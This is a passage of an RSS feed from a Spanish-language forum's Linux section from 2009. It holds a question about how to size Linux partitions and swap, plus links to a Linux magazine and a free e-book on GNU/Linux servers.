href="http://lib.undersecurity.net/index.php?download=./Linux/Revistas/Papirux4.pdf" target="_blank" rel="nofollow" ><b>Download</b></a><br /><br />A día de hoy (Agosto '09), actualizado.<br /><br /><br />Saludos,<br />MrX0nX1.]]></description>
<dc:creator>MrX0nx1</dc:creator>
<category>Linux General</category><pubDate>Tue, 11 Aug 2009 18:23:05 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,3857,3857#msg-3857</guid>
<title>Quiero instalar Linux: ¿Qué tamaño a cada partición? [DEBATE] (3 replies)</title><link>https://foro.undersecurity.net/read.php?28,3857,3857#msg-3857</link><description><![CDATA[¡Hola compañeros de UnderSecurity!<br /><br />Este post tiene dos objetivos:<br /><br />1) Servir para todo aquel que quiera adentrarse en el mundo Linux. Creo que es una pregunta además de común, muy subjetiva.<br /><br />2) Aclararme cuál serían los tamaños ideales.<br /><br />Cada vez que una persona me pregunta cómo instalar Linux, la conversación llega al punto de cómo puedo distribuir el disco duro. Más detalladamente: ¿Cuántos gigas le doy a cada partición: / (raíz), swap y /home?<br /><br />Buscando por google las diferentes opiniones, he llegado a la conclusión que esta distribución de GB es subjetiva. Pero me gustaría saber ¿cuál sería la distribución perfecta? Claro está que depende de la capacidad de tu disco duro, pero podríamos poner cada uno nuestras opiniones y consejos.<br /><br />---------------------------------------------------<br /><br />En mi caso personal, acabo de comprarme un portátil y me urge instalarle linux (xD). Nunca me había surgido esta duda, ya que en el ordenador de sobremesa tenía muchísimo menos espacio en el disco duro y con la información que encontraba por internet me funcionaba sin problemas. Ahora tengo un disco duro sólo para instalar Linux de 223 GB. Por lo que me sobra espacio por todos los lados y no sé si metería demasiados gigas tanto a / y a swap que me quedarían inutilizados.<br /><br />* Para la swap había pensado 2 GB aunque puedo ponerle hasta el doble de mi ram, que son 4GB; es decir, 8 GB para la swap. Pero me parece demasiado, no sé.<br />Para el nuevo, hay una &quot;norma&quot; bastante extendida en Internet y qué es la siguiente:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>Una de las reglas más extendidas a la hora de seleccionar el tamaño de la partición SWAP es elegir el doble del tamaño de la memoria RAM disponible en nuestro ordenador, pero según Rosell Coker, esto deja de tener sentido en la actualidad debido a la gran cantidad de RAM de la que disponen los ordenadores de hoy en día. Según Coker el tamaño debería ser elegido según las siguientes premisas:<br /> Hasta 1GB de RAM la SWAP debería tener un tamaño igual al de la RAM.<br /> Entre 2GB y 4GB el tamaño de la SWAP debería ser la mitad de la memoria RAM.<br /> Para equipos con más de 4GB la SWAP debería tener un tamaño máximo de 2GB.</div></blockquote><br />*Para el directorio raíz / donde van los archivos de sistema. Había pensado 20 GB. Sí, tiro la casa por la ventana, pero es que me sobra espacio. De ahí mi duda y que esté confuso si para la swap y para la / sean demasiados gigas o no. ¿Más, menos? ¡Hagan apuestas! xD<br /><br />*Para el /home ya está más claro el asunto. Pondría el resto del disco duro que me sobrase.<br /><br /><br /><br />Bueno, ahí queda. Cada uno que opine sobre mi duda y que ponga su configuración personal ya que podría ayudar a futuros usuarios.<br /><br />Gracias por su participación.<br /><br />MrX0nX1]]></description>
<dc:creator>MrX0nx1</dc:creator>
<category>Linux General</category><pubDate>Tue, 01 Sep 2009 23:42:12 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,3795,3795#msg-3795</guid>
<title>Implementación de Servidores con GNU/Linux 2009 (2 replies)</title><link>https://foro.undersecurity.net/read.php?28,3795,3795#msg-3795</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/21076/screenshot_005_o85Jvw.png" class="bbcode" border="0" /><br /><br />Acaba de publicarse la edición de agosto de 2009 del libro electrónico &quot;Implementación de Servidores con GNU/Linux&quot;. Esta edición tiene un total de 600 páginas y acumula 10 años de experiencias y trabajo de investigación en un proyecto de comunidad que ahora reside en Alcance Libre y que se inició un 27 de agosto de 1999.<br /><br />La obra se publica con licencia Creative Commons Reconocimiento - NoComercial - CompartirIgual 2.1. El libro en formato electrónico, que está basado en un 100% sobre CentOS 4 y 5, está disponible sin costo a través de la zona de descargas de Alcance Libre en este enlace...<br /><br />También, por primera vez desde 2006, esta disponible en formato impreso, en esta ocasión a través de Lulu.com.<br /><br />Correcciones, reportes de errores y sugerencias, por favor publicadlas en este enlace o bien en el formulario de este otro enlace.<br /><br /><a href="http://www.kriptopolis.org" target="_blank" rel="nofollow" >Fuente</a><br /><br /><a href="http://lib.undersecurity.net/index.php?download=./Linux/Implementacion_Servidores_Linux-AGOSTO-20090803.pdf" target="_blank" rel="nofollow" ><b><span style="color:#FF0000">Download Lib US</span></b></a>]]></description>
<dc:creator>OzX</dc:creator>
<category>Linux General</category><pubDate>Mon, 17 Aug 2009 20:18:03 -0400</pubDate></item>
</channel>
</rss>